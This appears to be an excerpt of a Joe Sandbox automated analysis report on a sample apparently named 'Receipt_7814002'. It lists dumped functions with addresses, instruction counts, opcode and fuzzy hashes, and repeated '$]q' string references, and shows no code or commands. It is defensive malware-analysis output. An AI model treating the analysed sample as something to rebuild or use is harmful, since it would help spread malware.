Opcode Fuzzy Hash: d82f166f7323cb5d1276ad7f0ed77275e92cbcfa916698110ee2f3456f9fe9de
Instruction Fuzzy Hash: EA312430B102058FCB589B74D91466F7BE6EF89610F21843CD806DB394EE39DE86C79A

Uniqueness

Uniqueness Score: -1.00%

Function 06C58287 Relevance: 1.3, Strings: 1, Instructions: 31COMMON

Download Yara Rule

Strings

$]q, xrefs: 06C582AC

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID: $]q
API String ID: 0-1007455737
Opcode ID: 4256a3fb4badb0bd34e4228cac25e2a2c27a9ba36d1cc5635d9bb4076c414b8e
Instruction ID: cf986767ffbb7885e0d41edecc3a4167c039552b49e0578d1e30afe492150ffb
Opcode Fuzzy Hash: 4256a3fb4badb0bd34e4228cac25e2a2c27a9ba36d1cc5635d9bb4076c414b8e
Instruction Fuzzy Hash: 9CF05835F06525DFDF648A89EE4C6A8BFB0EB10351F1A4065DC05E71A0C7399AC6CB98

Uniqueness

Uniqueness Score: -1.00%

Function 06C52330 Relevance: 1.0, Instructions: 1010COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1a3c810f2b4072d8ddfa845ebcbda47b4448d974cfd41481d089957f4fdc27d
Instruction ID: 35b4349a9ce6aff966016eaeee5163729c4ae849d7ce5ccdd69efeed5472d33f
Opcode Fuzzy Hash: e1a3c810f2b4072d8ddfa845ebcbda47b4448d974cfd41481d089957f4fdc27d
Instruction Fuzzy Hash: 25925934A002048FDB64DF68C984A5DB7F2FB44314F5684AAD809EB365DB39EE85CF85

Uniqueness

Uniqueness Score: -1.00%

Function 06C561A8 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c870d4ead4872541f6eac002f887b35c97272db409312a691aed37a756003aee
Instruction ID: 64f2fb7718c1ff2bf6fef02f79a218861112df0aa4aa5d5fe9b1c28c508d2fb5
Opcode Fuzzy Hash: c870d4ead4872541f6eac002f887b35c97272db409312a691aed37a756003aee
Instruction Fuzzy Hash: 7361E071F000214FDB54AA6ECC84A6FBADBAFD4224B554079D80EDB320DE79DD4287D6

Uniqueness

Uniqueness Score: -1.00%

Function 06C54590 Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9790994f917cfb9305c40c4b2a0431a86bf4ec7ec718fb5422ebc682bb42c8a
Instruction ID: 8c560054f73924fe37e032d70603c35b8a515f9b5c15f8b7196520d87d0903a6
Opcode Fuzzy Hash: f9790994f917cfb9305c40c4b2a0431a86bf4ec7ec718fb5422ebc682bb42c8a
Instruction Fuzzy Hash: 9B913C30E0061A8BDF64DF68C890B9DB7B1FF89304F20859AD449EB255DB70AA85CF91

Uniqueness

Uniqueness Score: -1.00%

Function 06C54271 Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aedac60710a3140ca1f837810afc52bd32f31072d205f1b642d46100146fd325
Instruction ID: 5112263e73fba54403acbaee666057cf136e4e8d324e8b75813e9d6b1330dc32
Opcode Fuzzy Hash: aedac60710a3140ca1f837810afc52bd32f31072d205f1b642d46100146fd325
Instruction Fuzzy Hash: DE817030B0020A9FDB58DFA9D85465EB7F3EF88304F118429D80ADB394EB35DD868B52

Uniqueness

Uniqueness Score: -1.00%

Function 06C545A8 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c7b2442c0d93cff0624f8b8f58fd4707f43bd9a5d221f6b72e9a41f4c65ece6
Instruction ID: 37ac6f11c025721ddd13d9325ca222cc079d795725f4571888ea71c8c6888798
Opcode Fuzzy Hash: 2c7b2442c0d93cff0624f8b8f58fd4707f43bd9a5d221f6b72e9a41f4c65ece6
Instruction Fuzzy Hash: 34914C30E0021A8BDF64DF68C890B9DB7B1FF89304F20C599D40DAB255DB70AA85CF91

Uniqueness

Uniqueness Score: -1.00%

Function 06C5EAD0 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 217b6e9b5e5d23b366bdbbbc8edc17613cdb50edb3cb3a5cc4a58b9575511ccb
Instruction ID: 834b7d69a77869a43182d84381ae3e90c2b3d32441c1c0120a44649db9696721
Opcode Fuzzy Hash: 217b6e9b5e5d23b366bdbbbc8edc17613cdb50edb3cb3a5cc4a58b9575511ccb
Instruction Fuzzy Hash: 19717070A002499FDB54EFA9D980A9DBBF6FF88300F158429D415EB354DB30ED86CB54

Uniqueness

Uniqueness Score: -1.00%

Function 06C5EAE0 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: deb65cd2593968e980f28371fb96285bed6efcdd7dd7431cdcc241e1f4cb9574
Instruction ID: 36080de7c72663bce050944c1aa5998d8bf4db759247ca05c35e36c01c3f2278
Opcode Fuzzy Hash: deb65cd2593968e980f28371fb96285bed6efcdd7dd7431cdcc241e1f4cb9574
Instruction Fuzzy Hash: E2715070A002499FDB54EFA9D980A9DBBF6FF98300F158429D405EB364DB30ED86CB55

Uniqueness

Uniqueness Score: -1.00%

Function 06C5FC41 Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ddc2862562d4107486bebb53f61aab9fe0c8811465264b1028ff2a457e34b2f
Instruction ID: 2b347c583c83de0f73d6c0c0772b732e0d2561d6d57d6a4eaf749acd7cf7071c
Opcode Fuzzy Hash: 8ddc2862562d4107486bebb53f61aab9fe0c8811465264b1028ff2a457e34b2f
Instruction Fuzzy Hash: E151E471E00109CFCB68AF78E8446ADBBB2FF84315F11887DE92AD7250DB359985CB85

Uniqueness

Uniqueness Score: -1.00%

Function 06C5F9F0 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c75d0bdba729af4aee2e578003be8a2d1f0cff5aeade840a508d257f7df9427
Instruction ID: 7fc7cd0da9f07dcaa2700472d75f75d4ac1a118b49dd99a779bc1e93b7da4ebc
Opcode Fuzzy Hash: 3c75d0bdba729af4aee2e578003be8a2d1f0cff5aeade840a508d257f7df9427
Instruction Fuzzy Hash: D551D7B0B202149FEF68666DEC5472F2A5ED789310F21482ED80AC73E5CA3DCDC58796

Uniqueness

Uniqueness Score: -1.00%

Function 06C5FA00 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ab962f1e66ece9381609834f60d2596e01960e1c8dfadec98c01af82dd751a8
Instruction ID: 8681fd83a0b03b6805520d87623d8a7296d635d183e11d5925ce16b53f72ab6e
Opcode Fuzzy Hash: 8ab962f1e66ece9381609834f60d2596e01960e1c8dfadec98c01af82dd751a8
Instruction Fuzzy Hash: 1E51D8B0B202149BEF68666DED5472F2A5ED789310F21482ED90AC33E5CA3DCDC58796

Uniqueness

Uniqueness Score: -1.00%

Function 06C553E9 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a772557c3eb88660193d8da9aa00649c630f1e0cc92d3bd560286e3ac6550b29
Instruction ID: 6e01003d2a5eab77e917aa0f3ab93f466eb1f9df9b7b45077e642860da016628
Opcode Fuzzy Hash: a772557c3eb88660193d8da9aa00649c630f1e0cc92d3bd560286e3ac6550b29
Instruction Fuzzy Hash: 82418C31E006099FCF70CEA9DCC0AAFB7B2EB84210F51492AE61AD7250D730E9958B95

Uniqueness

Uniqueness Score: -1.00%

Function 06C5D928 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85da9a6075b88bc1e58f254e1330b185f37b77da99524f9ccbb259624cb26c25
Instruction ID: 28f6044b89f2bd4a4959c2fb3e836a36991a3e87243a86e3672847f0a1de4539
Opcode Fuzzy Hash: 85da9a6075b88bc1e58f254e1330b185f37b77da99524f9ccbb259624cb26c25
Instruction Fuzzy Hash: 2831C870E1030A9BCB54DF69D890A9EBBB5FF45304F118529D806E7314DB74F986CB85

Uniqueness

Uniqueness Score: -1.00%

Function 06C52068 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81ac6b174f0f0d96eeff196cd72bedd225356100a973e65080b0f81c103aecc0
Instruction ID: 0152c9635e82caf3142497634cf85bc3cbfbea501ba509e54311d8202d3958b1
Opcode Fuzzy Hash: 81ac6b174f0f0d96eeff196cd72bedd225356100a973e65080b0f81c103aecc0
Instruction Fuzzy Hash: 93318A30E002099BCB59DF65D854A9FBBF2AF89300F118429E806E7350DB75ED86CB51

Uniqueness

Uniqueness Score: -1.00%

Function 06C52078 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cabaf839e0e221b18052a54c2a888d47fca8d0ae34153065ba4e9bea63f8678
Instruction ID: 2c946ca8ceb0771c5ee1c276721f18543b6a2d61b3631ca31e8a58d930f7bb15
Opcode Fuzzy Hash: 4cabaf839e0e221b18052a54c2a888d47fca8d0ae34153065ba4e9bea63f8678
Instruction Fuzzy Hash: DF316930E002099BCB59DF65C854A9FBBF2EF89300F118529E906E7350DB75EE86CB51

Uniqueness

Uniqueness Score: -1.00%

Function 06C53A71 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c741f1e5bf1d261ac82dc0621aecfff55488963038527ea7cf9751dfbd38f5a
Instruction ID: 89dc53adbc2517e64299ef837fb41518db519a73799f3e1cc0e64ff3aee838f5
Opcode Fuzzy Hash: 0c741f1e5bf1d261ac82dc0621aecfff55488963038527ea7cf9751dfbd38f5a
Instruction Fuzzy Hash: 7121AD75F00615AFDB10DFA9ED80AAEBBF5EB48250F018029E909E7350EB35DD41CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 06C53A80 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf4fe10ff1eda0d0c2d50dd41abde603a5f8bec08087c4a8f9568e0f4a5997b8
Instruction ID: ba60f0bfad7358b2fc9905b87ee108233a79f0f06ee1327bad4b848eb6a81c50
Opcode Fuzzy Hash: cf4fe10ff1eda0d0c2d50dd41abde603a5f8bec08087c4a8f9568e0f4a5997b8
Instruction Fuzzy Hash: BE21BA75F006159FDB50DFA9ED80AAEBBF1EB48240F108029E909E7390E735DD41CB95

Uniqueness

Uniqueness Score: -1.00%

Function 06C56CC9 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50aa8b5be2f8f1a8f6a3958d61e6d857a7e594b94ac6cd82fb1d924fe2d4dcb2
Instruction ID: bf4025fac4fbb2a66a387e83351051c93eac8af247fea0a861ac4234f1fe5629
Opcode Fuzzy Hash: 50aa8b5be2f8f1a8f6a3958d61e6d857a7e594b94ac6cd82fb1d924fe2d4dcb2
Instruction Fuzzy Hash: 9F210130B101089FCFA4EB2AED4069EBBF6EB84314F254439E809E7351DB35DD818B95

Uniqueness

Uniqueness Score: -1.00%

Function 0147D030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3235228816.000000000147D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0147D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_147d000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2976f54ae28208ff9dbee414a736b13f94e2f4f9955d5cad713baf9212597bce
Instruction ID: bd72a199e0e1b83df249603ef0eba41dae7a039fd1eb1a15280c43263ec3275e
Opcode Fuzzy Hash: 2976f54ae28208ff9dbee414a736b13f94e2f4f9955d5cad713baf9212597bce
Instruction Fuzzy Hash: AF2128B1914244DFCB16DF58D980F16BB65FF84318F24C56ED90A0B366C33AD407C661

Uniqueness

Uniqueness Score: -1.00%

Function 06C56CD8 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0673c9cabdd51e6682c94fd7118fec6ceb6d325276b720976367da23ca73ab3f
Instruction ID: 3cd82e029099f7e365f87a81e877802e020c6a1b2b285fa90b06e8d2426171c4
Opcode Fuzzy Hash: 0673c9cabdd51e6682c94fd7118fec6ceb6d325276b720976367da23ca73ab3f
Instruction Fuzzy Hash: D721D230B100089FDF94DB6AED5069EBBF6EB84314F658439D809E7350DB35ED818B88

Uniqueness

Uniqueness Score: -1.00%

Function 0147D006 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3235228816.000000000147D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0147D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_147d000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10a132ce6a4b2543a830e645b9acee3473429560ff9e6af7103c34cb3193d687
Instruction ID: d4411b10881775afe27e5af0075768d5e9acf785be720ab132c04921fd1ec61a
Opcode Fuzzy Hash: 10a132ce6a4b2543a830e645b9acee3473429560ff9e6af7103c34cb3193d687
Instruction Fuzzy Hash: 90215A755093C08FDB03CB64D994755BF71AF46214F29C5EBD8898F6A3C23A980ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 06C53B90 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3e4bc6d2fb9f4037696db56b4f53ebb90d9ffe17c214b50dd3c03d84c4dfb86
Instruction ID: 0d18b408184bba6c81462e66347dce575b63de4f0ab16dc9485ac8d323ee25d9
Opcode Fuzzy Hash: b3e4bc6d2fb9f4037696db56b4f53ebb90d9ffe17c214b50dd3c03d84c4dfb86
Instruction Fuzzy Hash: 8211E132B005244BDB54EA78DC146AE73EAEBC8651F014139C80AE7344EE25DC068BD1

Uniqueness

Uniqueness Score: -1.00%

Function 06C541D0 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d8d25378f316a47164a19608774f893796abf62da8cda62277ae35f0d5b8c0e
Instruction ID: 7a292af060c290574acb56ca6505e10a130d558b1540918db6e5c5145a94edad
Opcode Fuzzy Hash: 4d8d25378f316a47164a19608774f893796abf62da8cda62277ae35f0d5b8c0e
Instruction Fuzzy Hash: B501F135B100200BCB6999AEAC18B1BBADACBC9710F14C43EE90ECB341ED21CD824395

Uniqueness

Uniqueness Score: -1.00%

Function 06C53848 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 424d62821169aafc69d48ed6f2939fe9ca98f00f85dd0943f655fc1a4667f2be
Instruction ID: d9439f04bda7f924861a3b9693acd9143802f01889145163861afbc5a0a7a741
Opcode Fuzzy Hash: 424d62821169aafc69d48ed6f2939fe9ca98f00f85dd0943f655fc1a4667f2be
Instruction Fuzzy Hash: CA21E3B5D01259AFCB00DF9AD884ACEFFB8FB48310F10852AE918A7600C374A554CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06C5ED51 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbda2c395be5bb8d972177e31a426415f975f1e4fc17855226fe871a76032dba
Instruction ID: 9075ab1dbc34fb05bc384727362e14a11300a6900fbde04a78c4097c454dc727
Opcode Fuzzy Hash: dbda2c395be5bb8d972177e31a426415f975f1e4fc17855226fe871a76032dba
Instruction Fuzzy Hash: 9401F232B000101BCB65AA3DDC50B6B77DBDBC9610F11483EE90AC7345EA21EE4343C9

Uniqueness

Uniqueness Score: -1.00%

Function 06C53850 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7c04951f358b4bfdb82077b788b8785c82530ad6e978f8407a0544a3822c8be
Instruction ID: 37e43f4d30b21743c68f960abdfbf1214eb1810a92a8df82c359015ee6b9c3f0
Opcode Fuzzy Hash: a7c04951f358b4bfdb82077b788b8785c82530ad6e978f8407a0544a3822c8be
Instruction Fuzzy Hash: 4A11B3B5D01259AFCB00DF9AD884ADEFFB4FF49310F10852AE918A7240D374A554CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06C5A2C8 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70f4ffb2b58c43e4f579385540037291ef11600a273c9bb2097390fdb9bb8e6b
Instruction ID: 8b3e4a4470ac3afd9ff198c72c7fa4ff7351a62aa849bece7599536652203abd
Opcode Fuzzy Hash: 70f4ffb2b58c43e4f579385540037291ef11600a273c9bb2097390fdb9bb8e6b
Instruction Fuzzy Hash: 46014730B001041FC721AA6EEC5472A77C6EB89714F11843CE50EC7355EE25DD428789

Uniqueness

Uniqueness Score: -1.00%

Function 06C541E0 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 254c11e03dcdb34451a09c3a8c5965b93a305f087dc3aff1c5ce94354acd24b2
Instruction ID: dd253bd78b3be6f2c87bfb607ada24c433f76e238772c81128f5f78062a5278b
Opcode Fuzzy Hash: 254c11e03dcdb34451a09c3a8c5965b93a305f087dc3aff1c5ce94354acd24b2
Instruction Fuzzy Hash: 1801AD35B000200BDB6899AEEC18B2BA6DADBC9710F11C43EE90EC7344ED75DD824399

Uniqueness

Uniqueness Score: -1.00%

Function 06C53B7F Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ff8f08944b5f3bbe3f02a0722887863402c429d4034d8c3c17e6244bc4fe165
Instruction ID: 65d383a6050d323d6864e385bb80bbd9dd013569059a8ec2e3c50e86607edba3
Opcode Fuzzy Hash: 3ff8f08944b5f3bbe3f02a0722887863402c429d4034d8c3c17e6244bc4fe165
Instruction Fuzzy Hash: B601F232F100255BDB94EA68DC146EF73AAEBC8254F05413AD90AD7280FF658D5687D2

Uniqueness

Uniqueness Score: -1.00%

Function 06C5ED60 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7af24cb3dca809aef757c27959a726a7e07355f1434b0a9d9702dfda79781cd
Instruction ID: bedec278fd650e72688dda1e692826d0bb44e14c8bf4191fe8bcdd4444140cc2
Opcode Fuzzy Hash: c7af24cb3dca809aef757c27959a726a7e07355f1434b0a9d9702dfda79781cd
Instruction Fuzzy Hash: 20018C32B004150BCB65A96E9C54B2E67DADBC9A24F11883EEA0AC7344EA25DE434389

Uniqueness

Uniqueness Score: -1.00%

Function 06C5A2D8 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed6261ccaab86e03ccf9c42aebe065cd994a7c201723a8dc161fe57ff4381c7e
Instruction ID: 2bf3e70023ddfbe929e5a51c117150f9dbb70f65779f51b8c4012e1f8140cdd2
Opcode Fuzzy Hash: ed6261ccaab86e03ccf9c42aebe065cd994a7c201723a8dc161fe57ff4381c7e
Instruction Fuzzy Hash: 4601A430B001154FCB65EAAEEC54B2E77DAEB89724F11853CE50EC7354EE25ED828789

Uniqueness

Uniqueness Score: -1.00%

Function 06C56428 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b83f651875655225beb21bdadc78cf715086a48f1892f1a3f992a2d859f8190d
Instruction ID: e645c0be62e3e43b3889176dcfc417fde3555ec359709ff5d10e35c43254f977
Opcode Fuzzy Hash: b83f651875655225beb21bdadc78cf715086a48f1892f1a3f992a2d859f8190d
Instruction Fuzzy Hash: 6FE0D871D152486BDF50CE759D5678A77BDD701304F2148A5D808CB102F336CAC04795

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 06C57660 Relevance: 13.0, Strings: 10, Instructions: 468COMMON

Download Yara Rule

Strings

$]q, xrefs: 06C57BF0
$]q, xrefs: 06C577D1
$]q, xrefs: 06C57B51
$]q, xrefs: 06C577C5
$]q, xrefs: 06C57C12
$]q, xrefs: 06C577A0
$]q, xrefs: 06C57B5D
$]q, xrefs: 06C57BFC
$]q, xrefs: 06C57C06
$]q, xrefs: 06C57794

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-2843079600
Opcode ID: 180c15f468ac1f3aa6b192d341f856a6e87a91c65eaa6f5b01909b02ad8c9d15
Instruction ID: ecd2c75cca95d7b260cb52ca1dcc89c6e6802e9e7387f378c9a7523404cca607
Opcode Fuzzy Hash: 180c15f468ac1f3aa6b192d341f856a6e87a91c65eaa6f5b01909b02ad8c9d15
Instruction Fuzzy Hash: 5A125D30E006198FDB64DF69D984A9DB7B2FF88304F21856DD809AB364DB34AD81CF94

Uniqueness

Uniqueness Score: -1.00%

Function 06C5A8F8 Relevance: 10.2, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

$]q, xrefs: 06C5AA49
$]q, xrefs: 06C5AAAA
$]q, xrefs: 06C5AAB6
$]q, xrefs: 06C5AA74
$]q, xrefs: 06C5AA55
$]q, xrefs: 06C5A9FA
$]q, xrefs: 06C5AA80
$]q, xrefs: 06C5A9EE

Memory Dump Source

Source File: 00000003.00000002.3266218985.0000000006C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c50000_Receipt_7814002.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-1273862796
Opcode ID: f616fbd67038ad667a1248b36d6500b0615899a0b8dd415aef1808da4f39ed05
Instruction ID: 47f3a89495dd13218e3bfcaec7ca41e2b90e6d74b167352bb1f690081fd2ea9b
